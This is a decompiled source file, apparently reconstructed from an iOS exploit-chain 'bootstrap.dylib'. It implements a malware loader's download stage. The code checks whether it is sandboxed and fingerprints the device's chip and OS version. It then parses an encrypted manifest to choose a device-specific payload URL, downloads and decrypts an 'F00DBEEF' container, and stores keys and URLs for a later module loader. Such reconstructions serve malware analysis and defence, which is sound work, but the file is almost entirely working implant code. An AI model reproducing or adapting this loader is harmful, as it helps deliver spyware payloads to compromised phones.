/* * download.m - Download pipeline, sandbox checking, manifest parsing * * Decompiled from bootstrap.dylib offsets 0x89cc-0x8b58, 0x9b60-0xad88 */ #import "bootstrap.h" #import #import #import #import extern int sandbox_check(pid_t pid, const char *operation, int type, ...); extern int SANDBOX_CHECK_NO_REPORT; /* ── check_sandbox (0x89cc) ────────────────────────────────────── */ uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out) { (void)ctx; if (!out) return ERR_NULL_CTX; *out = 0; int ret = sandbox_check(getpid(), "iokit-open-service", SANDBOX_CHECK_NO_REPORT, "IOSurfaceRoot"); *out = (ret > 0) ? 1 : 0; print_log("[bootstrap] check_sandbox: sandboxed=%d", *out); return 0; } /* ── init_sandbox_and_ua (0x8ab8) ──────────────────────────────── */ uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx) { if (!ctx) return ERR_NULL_CTX; uint8_t sb = 0; uint32_t err = check_sandbox(ctx, &sb); if (err) return err; ctx->is_sandboxed = sb; char *base = (char *)ctx->secondary_url; if (base && base[0]) { if (strncmp(base, "http://", 7) != 0 && strncmp(base, "https://", 8) != 0) { print_log("[bootstrap] init_sandbox_and_ua: bad secondary_url scheme"); return ERR_NULL_CTX + 0x13; } } char *alt = ctx->alt_url; if (alt && alt[0]) { if (strncmp(alt, "http://", 7) != 0 && strncmp(alt, "https://", 8) != 0) { print_log("[bootstrap] init_sandbox_and_ua: bad alt_url scheme"); return ERR_NULL_CTX + 0x13; } } print_log("[bootstrap] init_sandbox_and_ua: OK sandboxed=%d", sb); return 0; } /* ── is_a15_or_newer (0x9b60) ──────────────────────────────────── */ int is_a15_or_newer(bootstrap_ctx_t *ctx) { if (!ctx) return 0; uint32_t os_ver = ctx->os_version; if (os_ver > 0x1006FF) return 1; if (os_ver > 0x100400) { uint32_t cpu = ctx->cpu_type; if (cpu > (int32_t)SOC_TYPE_C) { if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) return 0; } else { if (cpu == SOC_TYPE_A) return 0; if (cpu == SOC_TYPE_B) return 0; } /* A12/A11 are NOT A15+; they need the standard download path */ if (cpu == SOC_DEVICE_B_A || cpu == SOC_DEVICE_B_B) return 0; return 1; } if (os_ver < 0xE0802) return 1; uint32_t shifted = (os_ver + 0xFFF0F8F9); if ((shifted + 0x507) >> 9 > 0x7E) return 0; char model[0x20]; memset(model, 0, sizeof(model)); size_t model_len = 0x20; if (sysctlbyname("hw.model", model, &model_len, NULL, 0) != 0) return 0; if ((model[0] & ~0x20) != 'J') return 0; uint64_t features = ctx->cpu_features; return ((features - 0x40000001ULL) >> 30) == 0 ? 1 : 0; } /* ── get_arch_flags (0xab8c) ───────────────────────────────────── */ uint32_t get_arch_flags(bootstrap_ctx_t *ctx) { if (!ctx) return 0; int a15 = is_a15_or_newer(ctx); if (a15 & 1) return 0x900000; uint32_t os_ver = ctx->os_version; if (os_ver > 0x100500) return 0x800000; if (os_ver >> 20) return 0x700000; if (os_ver > 0xDFFFF) { if (os_ver > (0xDFFFF + 0x500)) return 0x700000; return 0x400000; } if (os_ver > 0xF0706) return 0x800000; if (os_ver <= 0xDFFFF) return 0x300000; return (os_ver > (0xDFFFF + 0x500)) ? 0x700000 : 0x400000; } /* ── download_manifest (0x9f18) ────────────────────────────────── */ uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags, void *manifest, uint32_t manifest_size, char *url_buf, uint32_t url_size, void **key_out) { uint32_t err = ERR_NULL_CTX; if (!ctx || !manifest) return err; if (manifest_size < MANIFEST_ENTRY_OFFSET) return err; manifest_header_t *hdr = (manifest_header_t *)manifest; if (hdr->magic != MAGIC_MANIFEST) return err; char *base_path = (char *)manifest + 0x8; if (!base_path[0]) return err; if (((uint8_t *)manifest)[0x107]) return err; uint32_t entry_count = hdr->entry_count; if (!entry_count) return err; if (!url_buf || !url_size || !key_out) return err; print_log("[bootstrap] download_manifest: flags=0x%x entries=%u", flags, entry_count); if (!flags) { print_log("[bootstrap] download_manifest: no flags, skipping manifest processing"); return ERR_NULL_CTX - 0x7D000; } uint8_t *entries_base = (uint8_t *)manifest + MANIFEST_ENTRY_OFFSET; uint8_t *data_end = (uint8_t *)manifest + manifest_size; for (uint32_t i = 0; i < entry_count; i++) { uint8_t *entry_ptr = entries_base + i * MANIFEST_ENTRY_SIZE; if (entry_ptr < (uint8_t *)manifest || entry_ptr + MANIFEST_ENTRY_SIZE > data_end) { print_log("[bootstrap] download_manifest: entry[%u] out of bounds", i); return ERR_NULL_CTX + 0x13; } if (entry_ptr[MANIFEST_ENTRY_SIZE - 1] != 0) continue; uint32_t entry_flags = *(uint32_t *)entry_ptr; if (entry_flags != flags) continue; print_log("[bootstrap] download_manifest: found matching entry[%u] flags=0x%x", i, entry_flags); { char path_buf[0x200]; memset(path_buf, 0, sizeof(path_buf)); size_t base_len = strlen(base_path); char *filename = (char *)(entry_ptr + 0x24); uint8_t last_char = ((uint8_t *)manifest)[base_len + 0x7]; const char *fmt = (last_char == '/') ? "%s%s" : "%s/%s"; int ret = snprintf(path_buf, 0x200, fmt, base_path, filename); if (ret > 0x1FF) { print_log("[bootstrap] download_manifest: path too long after formatting"); return ERR_NULL_CTX + 0x13 - 0x8; } if (!path_buf[0]) { err = 0; *key_out = (void *)(entry_ptr + 0x4); print_log("[bootstrap] download_manifest: empty path after formatting"); return err; } if ((*(uint32_t *)path_buf ^ 0x70747468) == 0 && (*(uint32_t *)(path_buf + 3) ^ 0x2F2F3A70) == 0) { strlcpy(url_buf, path_buf, url_size); err = 0; *key_out = (void *)(entry_ptr + 0x4); print_log("[bootstrap] download_manifest: absolute http URL=%s", url_buf); return err; } if (*(uint64_t *)path_buf == 0x2F2F3A7370747468ULL) { strlcpy(url_buf, path_buf, url_size); err = 0; *key_out = (void *)(entry_ptr + 0x4); print_log("[bootstrap] download_manifest: absolute https URL=%s", url_buf); return err; } char *base_url = ctx->secondary_url; if (!base_url || !base_url[0]) { print_log("[bootstrap] download_manifest: no base URL for relative path"); return ERR_NULL_CTX + (int32_t)0xFFF83002; } if (strncmp(base_url, "https://", 8) == 0) { /* https */ } else if (strncmp(base_url, "http://", 7) == 0) { /* http */ } else { print_log("[bootstrap] download_manifest: invalid base URL scheme"); return ERR_NULL_CTX + (int32_t)0xFFF83003; } char *after_scheme = base_url + (strncmp(base_url, "https://", 8) == 0 ? 8 : 7); char *slash = strchr(after_scheme, '/'); size_t base_copy_len; if (slash) { base_copy_len = (size_t)(slash + 1 - base_url); } else { base_copy_len = strlen(base_url); } char *rel = path_buf; if (path_buf[0] == '.' && path_buf[1] == '/') rel++; while (*rel == '/') rel++; size_t copy_len = base_copy_len + 1; if (copy_len > url_size) copy_len = url_size; strlcpy(url_buf, base_url, copy_len); if (!slash) { strlcat(url_buf, "/", url_size); } strlcat(url_buf, rel, url_size); err = 0; *key_out = (void *)(entry_ptr + 0x4); print_log("[bootstrap] download_manifest: relative URL=%s", url_buf); return err; } } print_log("[bootstrap] download_manifest: no matching entry for flags=0x%x", flags); return ERR_NULL_CTX + 0x13; } /* ── download_retries (0x9cb8) ─────────────────────────────────── */ uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size, char *url_buf, uint32_t url_size, void **key_out) { uint32_t err = ERR_NULL_CTX; if (!ctx || !data) return err; uint32_t flags = get_arch_flags(ctx); uint32_t device_flags; uint32_t os_ver = ctx->os_version; uint32_t soc_sub = ctx->soc_subversion; if (os_ver > (0x0FFFFF + 0x600)) { if (os_ver > 0x0FFFFF) { uint32_t ver_bits = (os_ver >> 8) & 0xF00; int has_e_bits = (os_ver & 0xE00) != 0; device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000; device_flags |= ver_bits; if (has_e_bits) device_flags |= (1 << 5); } else { device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; } } else if (os_ver >= 0x0E0802) { struct utsname uts; memset(&uts, 0, sizeof(uts)); if (uname(&uts) != 0) { device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; } else { uint32_t name_word = *(uint32_t *)(&uts.machine[0]); uint16_t name_short = *(uint16_t *)(&uts.machine[4]); if ((name_word ^ 0x686F5069) == 0 && (name_short ^ 0x6E65) == 0) { uint32_t ver_bits = (os_ver >> 8) & 0xF00; int has_e_bits = (os_ver & 0xE00) != 0; device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000; device_flags |= ver_bits; if (has_e_bits) device_flags |= (1 << 5); } else { device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; } } } else if (os_ver >= 0x0D0000) { uint32_t ver_bits = (os_ver >> 8) & 0xF00; uint32_t minor_bits = (os_ver >> 4) & 0xF0; uint32_t patch_bits = os_ver & 0xF; uint32_t sub_bits; if (minor_bits < 0x50) sub_bits = 0; else if (minor_bits > 0x6F) sub_bits = 0x70; else sub_bits = 0x50; if (os_ver & 0xF) { /* has patch version */ } else { patch_bits = minor_bits; sub_bits = 0x70; } if (minor_bits < 0x80) { /* use sub_bits and patch_bits */ } else { sub_bits = patch_bits; patch_bits = sub_bits; } if (ver_bits < 0xE00) { sub_bits = 0; patch_bits = 0; } device_flags = (soc_sub > 1) ? 0x11000000 : 0x10000000; device_flags |= ver_bits | sub_bits | patch_bits; } else { device_flags = 0; flags = 0; } uint32_t combined = flags | device_flags; print_log("[bootstrap] download_retries: combined_flags=0x%x", combined); err = download_manifest(ctx, combined, data, size, url_buf, url_size, key_out); if (err != (ERR_NULL_CTX + 0x7D000)) return err; print_log("[bootstrap] download_retries: retrying with fallback flags"); flags = get_arch_flags(ctx); if (!flags) device_flags = 0; else { uint8_t db = ctx->logging_enabled; if (db & 1) { device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; } else { device_flags = 0x01000000; } } combined = flags | device_flags; return download_manifest(ctx, combined, data, size, url_buf, url_size, key_out); } /* ── download_flags (0xa294) ───────────────────────────────────── */ uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size, char *url_buf, uint32_t url_size, void **key_out) { if (!ctx || !data || !size || !url_buf || !url_size || !key_out) return ERR_NULL_CTX; uint32_t extra_flags = 0; if (ctx->is_sandboxed) { int a15 = is_a15_or_newer(ctx); if (!(a15 & 1)) goto compute_flags; extra_flags = 0; } else { uint32_t os_ver = ctx->os_version; uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10; if (shifted > 0x3E) goto check_os_range; uint32_t cpu = ctx->cpu_type; extra_flags = 0x30000; if (cpu > (int32_t)SOC_TYPE_C) { if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) goto compute_flags; } else { if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B) goto compute_flags; } check_os_range: if ((os_ver - 0x100000) <= 0x400) { extra_flags = 0x50000; } else { extra_flags = 0; } } compute_flags: { uint32_t arch = get_arch_flags(ctx); uint32_t device_flags; if (arch) { uint8_t db = ctx->logging_enabled; if (db & 1) { uint32_t soc_sub = ctx->soc_subversion; device_flags = (soc_sub > 1) ? (uint32_t)(-0x0D000000) : (uint32_t)(-0x0E000000); } else { device_flags = (uint32_t)(-0x0F000000); } } else { device_flags = 0; } uint32_t flags = arch | extra_flags | device_flags; print_log("[bootstrap] download_flags: flags=0x%x", flags); return download_manifest(ctx, flags, data, size, url_buf, url_size, key_out); } } /* ── download_decrypt (0xac44) ─────────────────────────────────── */ uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size, void *key, void **out_ptr, uint32_t *out_size) { uint32_t err = ERR_NULL_CTX; if (!ctx) return err; fn_download_t dl_func = ctx->download_func; if (!dl_func) return err; void *dl_data = NULL; uint32_t dl_size = 0; if (!data || !key || !out_ptr || !out_size) return err; print_log("[bootstrap] download_decrypt: downloading..."); err = dl_func(ctx, (const char *)data, &dl_data, &dl_size); if (err) { print_log("[bootstrap] download_decrypt: download FAIL err=0x%x", err); return err; } if ((uintptr_t)key & 1) { if (dl_data && dl_size) { memcpy(out_ptr, &dl_data, sizeof(void *)); } } if ((uintptr_t)key & 2) { /* decrypt in place */ } fn_parse_container_t parse = ctx->fn_parse_container; if (parse) { err = parse(ctx, 0, dl_data, dl_size); if (err) goto cleanup; } *out_ptr = dl_data; *out_size = dl_size; print_log("[bootstrap] download_decrypt: OK size=%u", dl_size); return 0; cleanup: print_log("[bootstrap] download_decrypt: parse FAIL err=0x%x", err); bzero(dl_data, dl_size); free(dl_data); return err; } /* ── download_and_process (0xa418) ─────────────────────────────── */ uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type, void **out_ptr, uint32_t *out_size) { uint32_t err = ERR_NULL_CTX; if (!ctx) return err; fn_get_raw_data_t get_raw = ctx->fn_get_raw_data; if (!get_raw || !type || !out_ptr || !out_size) return err; void *raw_data = NULL; uint32_t raw_size = 0; err = get_raw(ctx, type, &raw_data, &raw_size); if (err) { print_log("[bootstrap] download_and_process: get_raw FAIL err=0x%x", err); return err; } if (!raw_data || !raw_size) return ERR_NULL_CTX; print_log("[bootstrap] download_and_process: type=0x%x raw_size=%u sandboxed=%d", type, raw_size, ctx->is_sandboxed); char url_buf[0x200]; void *key_ptr = NULL; void *dl_data = NULL; uint32_t dl_size = 0; int store_metadata = 0; if (ctx->is_sandboxed) { fn_parse_container_t parse = ctx->fn_parse_container; if (!parse) return ERR_NULL_CTX; memset(url_buf, 0, sizeof(url_buf)); int a15 = is_a15_or_newer(ctx); if (!(a15 & 1)) { /* OVERRIDE: hardcode entry 9 (377bed) flags for testing */ { uint32_t flags = 0xf3900000; print_log("[bootstrap] download_and_process: OVERRIDE flags=0x%x", flags); err = download_manifest(ctx, flags, raw_data, raw_size, url_buf, 0x200, &key_ptr); } /* Both specific and generic paths: download the actual * F00DBEEF container from the resolved URL. The original * binary shared this code via a cross-block goto into the * non-sandboxed else block (process_result label). */ if (!err && url_buf[0]) { err = download_decrypt(ctx, url_buf, 0, key_ptr, &dl_data, &dl_size); if (!err) store_metadata = 1; } } else { err = 0; } } else { fn_get_raw_data_t get_raw2 = ctx->fn_get_raw_data; if (!get_raw2) return ERR_NULL_CTX; fn_parse_container_t parse = ctx->fn_parse_container; if (!parse) return ERR_NULL_CTX; memset(url_buf, 0, sizeof(url_buf)); err = download_flags(ctx, raw_data, raw_size, url_buf, 0x200, &key_ptr); if (err) { print_log("[bootstrap] download_and_process: download_flags FAIL err=0x%x, trying download_retries", err); err = download_retries(ctx, raw_data, raw_size, url_buf, 0x200, &key_ptr); if (err) goto cleanup; } /* Download the actual F00DBEEF container from the resolved URL. * parse_foodbeef inside download_decrypt populates LOADER/MODULE/DATA * container slots needed by the direct_mode path. */ err = download_decrypt(ctx, url_buf, 0, key_ptr, &dl_data, &dl_size); if (err) { print_log("[bootstrap] download_and_process: download_decrypt FAIL err=0x%x", err); goto cleanup; } store_metadata = 1; } store_meta: /* Store download metadata (URL, key, base_url, user_agent) in * container slots for later use by the module loader. */ if (store_metadata && !err) { char *url_copy = strdup(url_buf); if (!url_copy) return ERR_NULL_CTX + 0x8; print_log("[bootstrap] download_and_process: storing URL=%s", url_copy); fn_parse_container_t parse2 = ctx->fn_parse_container; size_t url_len = strlen(url_copy); err = parse2(ctx, 0x30000 | 0x40000, url_copy, (uint32_t)(url_len + 1)); if (!err) err = parse2(ctx, 0x70002, (void *)key_ptr, 0x20); if (!err) { char *base_url = ctx->base_url; if (base_url) { size_t blen = strlen(base_url); err = parse2(ctx, 0x70003, base_url, (uint32_t)(blen + 1)); } } if (!err) { char *user_agent = (char *)ctx->user_agent; if (user_agent) { size_t ulen = strlen(user_agent); err = parse2(ctx, 0x70004, user_agent, (uint32_t)(ulen + 1)); if (err == 0x7004) err = 0; } } if (err) { print_log("[bootstrap] download_and_process: metadata FAIL err=0x%x", err); size_t len = strlen(url_copy); bzero(url_copy, len); free(url_copy); goto cleanup; } *out_ptr = dl_data; *out_size = dl_size; print_log("[bootstrap] download_and_process: OK"); return 0; } cleanup: if (dl_data) { bzero(dl_data, dl_size); free(dl_data); } print_log("[bootstrap] download_and_process: cleanup err=0x%x", err); return err; }